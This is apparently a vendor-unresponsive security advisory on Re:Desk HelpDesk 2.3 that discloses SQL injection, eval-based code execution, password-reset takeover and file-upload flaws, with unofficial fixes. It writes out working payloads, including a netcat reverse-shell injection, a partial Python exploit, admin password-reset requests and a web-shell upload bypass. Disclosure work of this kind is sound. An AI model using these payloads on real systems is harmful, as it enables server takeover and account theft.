Re:Desk v2.3 - Multiple Issues
- Published: 3 Sep 2020
CVE-2020-15487, CVE-2020-15488, CVE-2020-15849
Share
Type
Severity
Affected products
Credits
CVE Reference
11/05/2020 | Vendor notified via customer contact form on official website. No response received. |
18/05/2020 | Follow up via email. No response received. |
11/06/2020 | Follow up via email. No response received. |
11/08/2020 | Follow up via email. No response received. |
29/09/2020 | Advisory published. |
F-Secure consulting discovered several vulnerabilities in Re-Desk’s commercial HelpDesk software, version 2.3. Re-Desk offers helpdesk and ticketing software aimed at small to medium sized businesses. Re-Desk HelpDesk is a PHP-based web application which allows users to create and track service tickets. It is built using version 1.1 of the Yii PHP framework, and it can be configured to use MySQL, MariaDB and PostgreSQL databases.
Re-Desk HelpDesk version 2.3 is vulnerable to the following issues:
These issues were discovered by downloading and reviewing the codebase for a 30-day trial version of the application, which is advertised as being identical to the commercial version, save for several licensing restrictions. The application was installed following the vendor’s official documentation, using a MySQL 8.0.20 database and PHP 7.2 on Ubuntu 20.04.
These issues can be leveraged to achieve the following:
Proof-of-Concept (PoC) code was written that uses the identified vulnerabilities to automatically exploit the application.
At this time, Re-Desk has not acknowledged any vulnerabilities in Re-Desk version 2.3, nor have any official patches or updated software versions been released. Multiple attempts to contact the software vendor were made, yet no response has been received as of the publication date of this advisory. However, included in this report are unofficial fixes which may be used as temporary workarounds, to prevent the application from being susceptible to the vulnerabilities discussed below.
These unofficial fixes have not been validated by Re-Desk, and they should only be used as guidance until Re-Desk has officially patched the application. Additionally, these unofficial fixes have not been subject to thorough testing. Any out-of-band changes to the application’s code should be tested before being implemented in production environments.
Below is the call to the vulnerable getBaseCriteria() method, on line 314 in the TicketController controller (protected/controllers/TicketController.php):
$criteria = Ticket::getBaseCriteria($_REQUEST[‘filter’], $_REQUEST[‘selector’], $_REQUEST[‘q’], $_REQUEST[‘folder’]);
The folder parameter can be referenced in a GET or POST request to the application’s base URL:
https://re-desk-instance.com/?folder=1
The getBaseCriteria() method performs input sanitisation on the $folder variable, if the folder parameter is referenced as a singular value. However, if the folder parameter is referenced as an array in requests made to the application, the application does not sanitize the parameter’s values before creating an SQL query string from the array’s contents. This is shown below, in the relevant section of the getBaseCriteria() method from line 859 in the Ticket model (protected/models/Ticket.php):
if (is_array($folder)) $sql .= ’ AND folder_id IN (’ . implode(’, ’, $folder) . ’)’; elseif (!empty($folder)) { $sql .= ’ AND folder_id = :folder_id’; $sql_params[‘:folder_id’] = $folder; }
The following unauthenticated GET request can be used to execute MySQL’s sleep() function, causing the application’s database to pause for five seconds:
GET /?folder[]=1337))%20GROUP%20BY%20ticket.id)%20sq;%20select%20sleep(5);%20— HTTP/1.1 Host: example-host.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
Arbitrary SQL queries may be executed this way, as there are no length or character restrictions when referencing values in an array through the folder query string parameter. The following screenshot shows the result of a similar request, causing the application’s MySQL thread to pause for five seconds:
To prevent SQL injection as shown above, the following modifications can be made to the Ticket model (protected/models/Ticket.php), within the getBaseCriteria() method:
if (is_array($folder)) { $folder_s = []; for($i = 0; $i < count($folder); $i++) { $key = ‘:item_’ . $i; array_push($folder_s, $key); $sql_params[$key] = $folder[$i]; } $sql .= ’ AND folder_id IN (’ . implode(’, ’, $folder_s) . ’)’; }elseif (!empty($folder)) { $sql .= ’ AND folder_id = :folder_id’; $sql_params[‘:folder_id’] = $folder; } $criteria->params = $sql_params; $criteria->condition = $sql; $criteria->with = ‘messages’; return $criteria;
This code block uses the params array of the Yii framework’s CDbCriteria object, which escapes characters provided to SQL queries. This prevents arbitrary SQL queries from being possible via CVE-2020-15487.
The Yii Framework supports a Role-Based Access Control (RBAC) mechanism known as “Business Rules”. These are small sections of PHP code which are stored in a Yii-based application’s database. Depending on whether the Business Rule evaluates to true or false, access may be granted or denied based on a user’s assigned RBAC roles.
If it is possible to alter the database of a Yii-based application, it is therefore possible to overwrite Business Rules with arbitrary PHP code. As the application contained a Business Rule entry for an unauthenticated “All” role, the role’s Business Rule may then be executed simply by requesting any page in the application whilst unauthenticated. Effectively, this allowed for any SQL injection vulnerability to result in remote command execution. However, note that this is subject to the following restrictions:
Re-Desk versoin 2.3 satisfied these requirements. Business Rules are stored in the application’s AuthItem table, The screenshot below shows the default records for the table after installing Re:Desk 2.3:
The following code block shows a call to the eval() function, in the executeBizRule() method in the yii/framework/web/auth/CAuthManager.php class. This method executes a given Business Rule based on the current user context. Browsing to any page in the application as an unauthenticated user will result in the “All” Business Rule being executed:
public function executeBizRule($bizRule,$params,$data) { if($bizRule===” || $bizRule===null) return true; if ($this->showErrors) return eval($bizRule)!=0; else { try { return @eval($bizRule)!=0; } catch (ParseError $e) { return false; } } }
Via CVE-2020-15487, the following POST request can be made which updates the Business Rule for the “All” role in the AuthItem table:
POST / HTTP/1.1 Host: 192.168.56.102 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 201
folder[]=1337))+GROUP+BY+ticket.id)+sq%3b+update+AuthItem+set+bizrule+%3d+“system(‘rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.56.104+80+>/tmp/f’)%3b”+where+name+%3d+“All”%3b+—
This results in the following PHP code being placed in the record:
This bizrule value will then be evaluated by the executeBizRule() method after a request is made to any page. The screenshot below shows this rule pending execution whilst debugging the application using Visual Studio Code:
The following exploit code leverages CVE-2020-15487 to update the Business Rule for the All user context with PHP code, which initiated a reverse TCP shell to an IP address and port supplied as command line arguments. After the Business Rule is executed, SQL injection is used to return the Business Rule back to the default value of “return false;”:
import requests import sys import uuid
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) proxies = {‘http’:‘http://127.0.0.1:8080’,‘https’:‘http://127.0.0.1:8080’}
def update_bizrule(ip, cmd): headers = {‘Content-Type’ : ‘application/x-www-form-urlencoded’, ‘User-Agent’: ‘Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0’} ip = ip + ’/’ if cmd == ”: cmd = ‘return+false%3b’ bizrule = ‘folder[]=1337))+GROUP+BY+ticket.id)+sq%%3b+update+AuthItem+set+bizrule+%%3d+“%s”+where+name+%%3d+“All”%%3b+—’ % cmd r = requests.post(ip, bizrule, headers=headers, proxies = proxies) return True
def fetch_revshell(ip): headers = {‘User-Agent’: ‘Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0’} url = ‘%s/’ % ip try: r = requests.get(url, headers=headers, timeout=3.0, proxies=proxies) except requests.exceptions.ReadTimeout: print(”[+] shell command probably executed”) pass
def main():
print(“\n[+] RE:Desk v2.3 unauthenticated SQLI + unsafe bizRule eval() RCE”)
print(“\n[!] this PoC uses an unauthenticated SQLi vulnerability to update the AuthItem table’s bizRule record for the ‘All’ user context,”)
print(”[!] resulting in unauthenticated RCE when refreshing any page\n”)
if len(sys.argv) < 4:
print(”[!] usage: python3 %s
if __name__ == “__main__”: main()
This PoC exploit can also be found at https://github.com/FSecureLABS/Re-Desk-v2.3-Vulnerabilities.The following screenshot shows this PoC code in action against the application:
It may be possible to mitigate the increased risks inherent to SQL injection for applications based on version 1.1 of the Yii framework, without refactoring the application’s codebase to use the more recent Yii2 framework. This can be done by overriding the executeBizRule() method of the CDbAuthManager class with a custom method which implements the ExpressionLanguage component from the Symfony framework.
ExpressionLanguage essential offers a restricted PHP sandbox, in which variables must be explicitly declared before they can be used in an expression. However, it may still be possible to achieve arbitrary command execution if untrusted user input is directly evaluated. Modifying the application to use the ExpressionLanguage component was not attempted due to time constraints.
Via SQL injection, the application’s password reset functionality can be abused to reset the password of arbitrary Re:Desk accounts. The RecoveryController controller (protected/modules/user/controllers/RecoveryController.php) implements logic for issuing password reset tokens, referred to as “activkeys”. activkeys are either MD5 or SHA1 hashes of the user’s current password hash concatenated with the current timestamp.
activkeys are stored in the tbl_users table, shown in the screenshot below:
The following request leverages CVE-2020-15487 to overwrite the admin user’s activkey with a known value:
GET /?folder[]=1337))+GROUP+BY+ticket.id)+sq%3b+UPDATE+tbl_users+SET+activKey+%3d+“bd73dff9545a4302a89571a3fbbf6361”+WHERE+id+%3d+1%3b+— HTTP/1.1 Host: 192.168.56.102 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
The known activkey value can be used in the following POST request to reset the admin user’s password:
POST /user/recovery/recovery?email=admin%40nowhere.org&activkey=bd73dff9545a4302a89571a3fbbf6361 HTTP/1.1 Host: 192.168.56.102 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=ma398kv407283c60l5hg0bmbce Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 106
UserChangePassword%5Bpassword%5D=NEW_PASSWORD&UserChangePassword%5BverifyPassword%5D=NEW_PASSWORD&yt0=Save
The showImage() method in the MessageAttachment model (protected/models/MessageAttachment.php) does not validate the file extension or contents of uploaded files. By leveraging an SQL injection vulnerability to change database records, it is possible to achieve remote command execution by means of overwriting a .htaccess file within the web root and subsequently uploading files containing PHP code.
The application stores uploaded files, expected to be images, in hexadecimal format, in the tbl_ticket_message_attachments database table. When previewing a file, the file’s contents are written to disk in the protected/runtime directory.
public function showImage() {
list(, $file_type) = explode(’/’, $this->file_type); $img_path = Yii::getPathOfAlias(‘application.runtime’) . ’/’ . $this->id . ’.’ . $file_type; file_put_contents($img_path, $this->content);
/** * @var Image $image */ $image = Yii::app()->image->load($img_path); if (!empty($_REQUEST[‘width’])) $image->resize($_REQUEST[‘width’], 200);
$image->render(); return unlink($img_path);
}
if the file’s Content-Type is not part of the predefined set, an error will be thrown as shown in the isImage() method:
public function isImage() { $image_types = array ( ‘image/png’, ‘image/jpg’, ‘image/jpeg’, ‘image/gif’, );
return in_array($this->file_type, $image_types); }
The following request, containing the relevant section of multipart form data, can be used to bypass file upload restrictions, allowing the file’s contents to be stored in the database:
POST /ticket/create HTTP/1.1 Host: 192.168.56.102 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.56.102/ticket/create Content-Type: multipart/form-data; boundary=---------------------------174006745313917532212017749950 Content-Length: 1020 Connection: close Cookie: PHPSESSID=pq4mu07a9rktsevjvul287om3f Upgrade-Insecure-Requests: 1
-----------------------------174006745313917532212017749950 Content-Disposition: form-data; name=“Ticket[subject]”
test01
[SNIP]
-----------------------------174006745313917532212017749950 Content-Disposition: form-data; name=“attachments[]”; filename=“test1.txt” Content-Type: image/php
Note that file contents are never validated. Additionally, filenames are discarded, and the uploaded file’s primary key of the tbl_ticket_message_attachment are used instead as filenames. However, the second part of the file’s Content-Type is retained and used as the file extension of the uploaded file. Therefore, the 13th file uploaded to the webserver as shown above will be written to disk as protected/runtime/13.php.
The file’s contents can then be written to the protected/runtime directory via the following request. The file’s ID, specified below as “1” at the end of the URL, may be derived via blind SQL injection (CVE-2020-15487, CVE-2020-15849) or brute-forced:
GET /ticketMessage/preview/1 HTTP/1.1 Host: 192.168.56.102 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=5vvjsen4fe6p0actpfhkgc8mo1 Upgrade-Insecure-Requests: 1
Assuming a file containing a simple PHP web shell is stored in the tbl_ticket_message_attachment table with the primary key value of 1, the following file will be written to disk:
root@ubuntu-testbed:/var/www/html/protected/runtime# ls -al 1.php -rw-r—r— 1 www-data www-data 31 May 9 03:49 1.php root@ubuntu-testbed:/var/www/html/protected/runtime# cat 1.php root@ubuntu-testbed:/var/www/html/protected/runtime# file 1.php 1.php: PHP script, ASCII text root@ubuntu-testbed:/var/www/html/protected/runtime#
Note that no authentication is required to preview uploaded files and write the files to the appropriate directory. Additionally the application may be configured to allow unauthenticated users to upload a limited number of files. However, to upload files without authentication, a CAPTCHA challenge-response test must be successfully completed. A method to bypass the CAPTCHA response was not investigated.
The following modification to the showImage() method uses the isImage() method to prevent the application from writing files to the protected/runtime directory, should the files fail the extension check performed by the showImage() method:
public function showImage() { if($this->isImage()) { list(, $file_type) = explode(’/’, $this->file_type); $img_path = Yii::getPathOfAlias(‘application.runtime’) . ’/’ . $this->id . ’.’ . $file_type; file_put_contents($img_path, $this->content);
/** * @var Image $image */ $image = Yii::app()->image->load($img_path); if (!empty($_REQUEST[‘width’])) $image->resize($_REQUEST[‘width’], 200);
$image->render(); return unlink($img_path);
}
}
This modification will not be sufficient in preventing determined attackers from uploading malicious code to the web server. For instance, it may still be possible to include malicious code in EXIF/metadata headers. This was not tested; however, the above modification will prevent the attack as described in this advisory.
The insecure file upload vulnerability alone is not sufficient to gain command execution on the web server, as the application writes a .htaccess file to the protected directory containing a “deny from all” rule, which prevents arbitrary PHP files from executing once written to the filesystem as shown above. As uploaded files are eventually written to the protected/runtime directory, this .htaccess file must be overwritten.
Therefore, to leverage this insecure file upload vulnerability for the purposes of remote command execution, it is possible to use an SQL injection vulnerability to perform the following, assuming the application uses a MySQL database:
list(, $file_type) = explode(’/’, $this->file_type); $img_path = Yii::getPathOfAlias(‘application.runtime’) . ’/’ . $this->id . ’.’ . $file_type; file_put_contents($img_path, $this→content);a
PoC code has been developed which uses unauthenticated blind SQL injection (CVE-2020-15487) together with the insecure file upload vulnerability (CVE-2020-15488) to achieve the following:
The exploit code can be found at https://github.com/FSecureLABS/Re-Desk-v2.3-Vulnerabilities. It is not included in this advisory due to the size of the exploit code.
Note that changing the MySQL database type may have unintended effects which may prevent new attachments from being saved to the table. It is possible to reverse this change after exploitation, again via SQL injection. However during testing this was observed to cause issues under some circumstances.
The screenshot below shows the above PoC in action:
An authenticated SQL injection vulnerability exists within the SettingsController controller (protected/controllers/SettingsController.php), in the actionEmailTemplates() method. The code block below shows the vulnerable account_id parameter. No input validation or input sanitisation is performed here:
public function actionEmailTemplates() { foreach ($_REQUEST[‘templates’] as $template_code => $template_data) { /** @var EmailTemplates $template */ $template = EmailTemplates::model()->findByPk(array(‘template_code’ => $template_code, ‘lang_code’ => Yii::app()->language, ‘account_id’ => $template_data[‘account_id’])); $template->setAttributes($template_data); $template->save(); }
Yii::app()->user->setFlash(‘success’, _t(‘changes saved’));
$this->redirect($this->createUrl(‘/settings/index’, array (‘section’ => ‘email_templates’))); }
A malicious actor with access to an administrative Re:Desk Helpdesk account could abuse this vulnerability to recover sensitive data from the application’s database, allowing for authorization bypass by means of modifying password reset tokens stored in the database and command execution as demonstrated above.
The following GET request can be used to execute MySQL’s sleep() function, causing the application’s database to pause for five seconds. This endpoint requires authentication as a Re-Desk admin:
GET /settings/emailTemplates?templates%5Bnew_message%5D%5Baccount_id%5D=1%3b+select+sleep(5)%3b— HTTP/1.1 Host: 192.168.56.102 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.56.102/ticket/index?filter=&selector=open Connection: close Cookie: PHPSESSID=VALID_SESSION Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
The following modifications can be made to the actionEmailTemplates method of the SettingsController controller (protected/controllers/SettingsController.php):
$account_id = (int) $template_data[‘account_id’]; $template = EmailTemplates::model()->findByPk(array(‘template_code’ => $template_code, ‘lang_code’ => Yii::app()->language, ‘account_id’ => $account_id));
This code block casts the account_id parameter to an integer. This prevents arbitrary SQL queries from being executed through the findByPk() method.